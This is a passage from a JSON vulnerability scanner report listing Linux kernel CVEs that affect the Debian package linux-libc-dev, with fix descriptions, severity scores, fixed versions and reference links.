"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68377", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68404", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68409", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72288", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74641", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80985", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89526", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90036", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93207", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93228", "https://errata.almalinux.org/9/ALSA-2026-83156.html", "https://errata.rockylinux.org/RLSA-2026:83156", "https://git.kernel.org/stable/c/2aa1789880fa5e41049b0f6a74a4fc2fa1997610", "https://git.kernel.org/stable/c/a03fceae0c65b31ce31840dac5e26684ceecb65b", "https://git.kernel.org/stable/c/a5afc00280986063f1c355821544fabbb2a960f7", "https://git.kernel.org/stable/c/aa2eb62525188269cdd402a583b9a8ed94657ff0", "https://git.kernel.org/stable/c/acd5931d5adf12f0163f83dc00320e7011f4da92", "https://git.kernel.org/stable/c/b679c1cffb2f3d0854b8b05ea9e909ad6489046f", "https://linux.oracle.com/cve/CVE-2026-68409.html", "https://linux.oracle.com/errata/ELSA-2026-83156.html", "https://lore.kernel.org/linux-cve-announce/2026081050-CVE-2026-68409-4c77@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68409", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68409" ], "PublishedDate": "2026-08-10T13:20:34.537Z", "LastModifiedDate": "2026-10-30T13:19:44.847Z" }, { "VulnerabilityID": "CVE-2026-68426", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68426", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4b18285cfb5cdc66fb3b557ad41144ca7a69163e35d93bec0f9e52bf1eaf1372", "Title": "kernel: xfrm: fix stale skb-\u003eprev after async crypto steals a GSO segment", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: fix stale skb-\u003eprev after async crypto steals a GSO segment\n\nskb_gso_segment() leaves the segment list head with -\u003eprev pointing at\nthe last segment, an invariant validate_xmit_skb_list() relies on when\nit sets its tail pointer (tail = skb-\u003eprev).\n\nWhen validate_xmit_xfrm() walks a GSO list and some segments are stolen\nby async crypto (-\u003exmit() returns -EINPROGRESS), those segments are\nunlinked from the list but the head -\u003eprev is never updated. If the\nlast segment is the one stolen, the returned head still has -\u003eprev\npointing at it, even though it is now owned by the crypto engine and may\nbe freed. validate_xmit_skb_list() later does tail-\u003enext = skb, writing\nthrough that stale pointer -- a use-after-free.\n\nRepoint skb-\u003eprev at the last retained segment before returning.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:68570", "https://access.redhat.com/security/cve/CVE-2026-68426", "https://bugzilla.redhat.com/2439924", "https://bugzilla.redhat.com/2461462", "https://bugzilla.redhat.com/2482098", "https://bugzilla.redhat.com/2482127", "https://bugzilla.redhat.com/2482550", "https://bugzilla.redhat.com/2482618", "https://bugzilla.redhat.com/2492436", "https://bugzilla.redhat.com/2492741", "https://bugzilla.redhat.com/2492742", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2492779", "https://bugzilla.redhat.com/2492792", "https://bugzilla.redhat.com/2502295", "https://bugzilla.redhat.com/2502347", "https://bugzilla.redhat.com/2502368", "https://bugzilla.redhat.com/2502412", "https://bugzilla.redhat.com/2502434", "https://bugzilla.redhat.com/2502438", "https://bugzilla.redhat.com/2502575", "https://bugzilla.redhat.com/2502580", "https://bugzilla.redhat.com/2502596", "https://bugzilla.redhat.com/2511448", "https://bugzilla.redhat.com/2513165", "https://bugzilla.redhat.com/2513171", "https://bugzilla.redhat.com/2513271", "https://bugzilla.redhat.com/2513286", "https://bugzilla.redhat.com/2513477", "https://bugzilla.redhat.com/2516490", "https://bugzilla.redhat.com/2516599", "https://bugzilla.redhat.com/2516679", "https://bugzilla.redhat.com/2516684", "https://bugzilla.redhat.com/show_bug.cgi?id=2439924", "https://bugzilla.redhat.com/show_bug.cgi?id=2461462", "https://bugzilla.redhat.com/show_bug.cgi?id=2482098", "https://bugzilla.redhat.com/show_bug.cgi?id=2482127", "https://bugzilla.redhat.com/show_bug.cgi?id=2482550", "https://bugzilla.redhat.com/show_bug.cgi?id=2482618", "https://bugzilla.redhat.com/show_bug.cgi?id=2492436", "https://bugzilla.redhat.com/show_bug.cgi?id=2492741", "https://bugzilla.redhat.com/show_bug.cgi?id=2492742", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2492779", "https://bugzilla.redhat.com/show_bug.cgi?id=2492792", "https://bugzilla.redhat.com/show_bug.cgi?id=2502295", "https://bugzilla.redhat.com/show_bug.cgi?id=2502347", "https://bugzilla.redhat.com/show_bug.cgi?id=2502368", "https://bugzilla.redhat.com/show_bug.cgi?id=2502412", "https://bugzilla.redhat.com/show_bug.cgi?id=2502434", "https://bugzilla.redhat.com/show_bug.cgi?id=2502438", "https://bugzilla.redhat.com/show_bug.cgi?id=2502575", "https://bugzilla.redhat.com/show_bug.cgi?id=2502580", "https://bugzilla.redhat.com/show_bug.cgi?id=2502596", "https://bugzilla.redhat.com/show_bug.cgi?id=2511448", "https://bugzilla.redhat.com/show_bug.cgi?id=2513165", "https://bugzilla.redhat.com/show_bug.cgi?id=2513171", "https://bugzilla.redhat.com/show_bug.cgi?id=2513271", "https://bugzilla.redhat.com/show_bug.cgi?id=2513286", "https://bugzilla.redhat.com/show_bug.cgi?id=2513477", "https://bugzilla.redhat.com/show_bug.cgi?id=2516490", "https://bugzilla.redhat.com/show_bug.cgi?id=2516599", "https://bugzilla.redhat.com/show_bug.cgi?id=2516679", "https://bugzilla.redhat.com/show_bug.cgi?id=2516684", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23172", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45910", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46043", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53192", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63869", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63913", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64029", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64175", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68159", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68200", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68363", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68426", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72243", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72298", "https://errata.almalinux.org/9/ALSA-2026-68570.html", "https://errata.rockylinux.org/RLSA-2026:68570", "https://git.kernel.org/stable/c/33e1b0d25ca0d2818c635ff80e6aa0d295e08a98", "https://git.kernel.org/stable/c/3f4c3919baf0944ad96580467c302bc6c7758b00", "https://git.kernel.org/stable/c/4927ab8a8acc8db4fad33e803d1d35e0b16cef83", "https://git.kernel.org/stable/c/4e695742396be18d5291c310a3d7c450959d647a", "https://git.kernel.org/stable/c/b58731e0570bfd3989999fc2baf9ee4fecd5bec6", "https://git.kernel.org/stable/c/bbca7cc3b2b4b10afbfee99b81d9ee78f5423046", "https://linux.oracle.com/cve/CVE-2026-68426.html", "https://linux.oracle.com/errata/ELSA-2026-68570.html", "https://lore.kernel.org/linux-cve-announce/2026081053-CVE-2026-68426-9cce@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68426", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68426" ], "PublishedDate": "2026-08-10T13:20:36.54Z", "LastModifiedDate": "2026-10-30T13:19:45.277Z" }, { "VulnerabilityID": "CVE-2026-68432", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68432", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:834a85463da64456b79e07b368cd73102a81f9e01596325a3791d048e0d2734e", "Title": "kernel: vxlan: require CAP_NET_ADMIN in the device netns for changelink", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvxlan: require CAP_NET_ADMIN in the device netns for changelink\n\nA tunnel changelink() operates on at most two netns, dev_net(dev) and\nthe sticky underlay netns vxlan-\u003enet. They differ once the device is\ncreated in or moved to a netns other than the one the request runs in.\nThe rtnl changelink path checks CAP_NET_ADMIN only against dev_net(dev),\nso a caller privileged there but not in vxlan-\u003enet can rewrite a vxlan\ndevice whose underlay lives in vxlan-\u003enet.\n\nvxlan_changelink() validates and applies the new configuration against\nvxlan-\u003enet (vxlan_config_validate(vxlan-\u003enet, ...)) and can reopen the\nunderlay socket in that netns, so the same reasoning as the tunnel\nchangelink series applies here.\n\nGate vxlan_changelink() with rtnl_dev_link_net_capable(), at the top of\nthe op before any attribute is parsed, matching ipgre_changelink() and\nthe rest of the \"require CAP_NET_ADMIN in the device netns for\nchangelink\" series.\n\nFound by 0sec automated security-research tooling (https://0sec.ai).", "Severity": "HIGH", "CweIDs": [ "CWE-863" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-68432", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/stable/c/0aa580a8bbbed2507b4582a1f0ef581d480d06ed", "https://git.kernel.org/stable/c/32d10c46bfde3e9b274e9e1bd6399d0ebea8f60f", "https://git.kernel.org/stable/c/3a61bd9637f3d929aa846e4eb3d98b48c26fcb0e", "https://git.kernel.org/stable/c/730c7e5fea7f06e0cdf21c547222ec93234fd1d6", "https://git.kernel.org/stable/c/7465ade989ba84adc2bfa58bad3ca25d249f0f7a", "https://git.kernel.org/stable/c/b3793d7dccb192ffff29894d11824db6251acdd5", "https://git.kernel.org/stable/c/b95a8743e58f7efed5ddc4cb73829b66f17feab0", "https://git.kernel.org/stable/c/e8ad0d311e225939a9a6c745d6cc384c7364ec87", "https://linux.oracle.com/cve/CVE-2026-68432.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026081254-CVE-2026-68432-30f2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68432", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68432" ], "PublishedDate": "2026-08-12T00:17:43.29Z", "LastModifiedDate": "2026-10-19T22:17:18.987Z" }, { "VulnerabilityID": "CVE-2026-68457", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68457", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:870930fb2f562d1c2daa9de9edc99a9930aef081c785b11c15779362409e1d3f", "Title": "kernel: ksmbd: use opener credentials for FSCTL mutations", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: use opener credentials for FSCTL mutations\n\nSET_SPARSE, SET_ZERO_DATA and SET_COMPRESSION operate on an open SMB\nhandle but call VFS xattr, fallocate or fileattr helpers with the current\nksmbd worker credentials. Those helpers can revalidate inode permissions,\nownership and LSM policy independently of the SMB handle access mask.\n\nRun each operation with the credentials captured in the target file when\nthe handle was opened. Keep credential handling local to these single-file\nFSCTLs rather than applying session credentials to the complete IOCTL\nhandler, which also contains handle-less and multi-handle operations.", "Severity": "HIGH", "VendorSeverity": { "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "V3Score": 9.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-68457", "https://git.kernel.org/linus/c6394bcaf254c5baf9aff43376020be5db6d3316%20%287.2-rc1%29", "https://git.kernel.org/stable/c/1e112c47ec5dd1942e2d4ca6e8e9b712238e20c2", "https://git.kernel.org/stable/c/a8c18434e1f0d9f7989170bdb0490c0160baf065", "https://git.kernel.org/stable/c/c6394bcaf254c5baf9aff43376020be5db6d3316", "https://git.kernel.org/stable/c/cfb2c6f71d61ed807c9d7a7af331d406f1f31877", "https://git.kernel.org/stable/c/e205f3e7e8c31a47cd11efb6cf663a527177e432", "https://git.kernel.org/stable/c/fb1cae6302d58414ddf029e3f642711bd30243f7", "https://lore.kernel.org/linux-cve-announce/2026081502-CVE-2026-68457-eb4d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68457", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68457" ], "PublishedDate": "2026-08-15T06:17:48.46Z", "LastModifiedDate": "2026-08-18T07:16:52.283Z" }, { "VulnerabilityID": "CVE-2026-68470", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68470", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a2cab90ae87b027c14596bef028fac123d9538c21188a7adb64a27f033c51091", "Title": "kernel: wifi: mac80211: validate extension-frame layout before RX", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: validate extension-frame layout before RX\n\nExtension frames only have the extension header at the regular 802.11\nheader offset. The generic RX path can still reach helpers and interface\ndispatch code that read regular header address fields before unsupported\nextension subtypes are dropped.\n\nmac80211 currently only handles S1G beacon extension frames. Drop other\nextension subtypes before they can reach regular-header RX processing.\nFor S1G beacons, linearize the SKB with the management-frame path and\nrequire the fixed S1G beacon header, including optional fixed fields\nindicated by frame control, before generic RX dispatch.\n\nRoute S1G beacons through the station/default-link RX path without\nregular-header station lookup. Avoid regular-header address reads in the\nmac80211 RX paths that process S1G extension beacons, including\naccept-frame, duplicate-detection, address-copy, and MLO\naddress-translation paths.\n\nAlso make ieee80211_get_bssid() length-safe before returning the S1G\nsource-address pointer.", "Severity": "HIGH", "CweIDs": [ "CWE-20" ], "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-68470", "https://git.kernel.org/linus/57d503ce32eccfa7650065ca4c560f7e29a2e676%20%287.2-rc4%29", "https://git.kernel.org/stable/c/1c3d9c6bd5b795f3b952b40d574c8e424e14a39b", "https://git.kernel.org/stable/c/57d503ce32eccfa7650065ca4c560f7e29a2e676", "https://git.kernel.org/stable/c/625fc704b19cb48d7d269ad54ffffb4d3bf9c7ed", "https://git.kernel.org/stable/c/7aba69b611007e11b9b93118ff8fe88998c3107f", "https://lore.kernel.org/linux-cve-announce/2026081504-CVE-2026-68470-1fbf@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68470", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68470" ], "PublishedDate": "2026-08-15T06:19:57.767Z", "LastModifiedDate": "2026-10-21T13:19:31.76Z" }, { "VulnerabilityID": "CVE-2026-68476", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68476", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b78214dc6a008546cdb5e05dd75fe091aa9e1c08139c4aaa749a45da5e60352b", "Title": "kernel: ipvs: reload ip header after head reallocation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipvs: reload ip header after head reallocation\n\n__ip_vs_get_out_rt() calls skb_ensure_writable() which may\nreallocate skb-\u003ehead.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:90365", "https://access.redhat.com/security/cve/CVE-2026-68476", "https://bugzilla.redhat.com/2348512", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2502376", "https://bugzilla.redhat.com/2502382", "https://bugzilla.redhat.com/2507098", "https://bugzilla.redhat.com/2507122", "https://bugzilla.redhat.com/2516251", "https://bugzilla.redhat.com/2516417", "https://bugzilla.redhat.com/2517006", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2535066", "https://bugzilla.redhat.com/2540323", "https://bugzilla.redhat.com/2546385", "https://bugzilla.redhat.com/2546494", "https://bugzilla.redhat.com/show_bug.cgi?id=2348512", "https://bugzilla.redhat.com/show_bug.cgi?id=2502255", "https://bugzilla.redhat.com/show_bug.cgi?id=2502376", "https://bugzilla.redhat.com/show_bug.cgi?id=2502382", "https://bugzilla.redhat.com/show_bug.cgi?id=2507098", "https://bugzilla.redhat.com/show_bug.cgi?id=2507122", 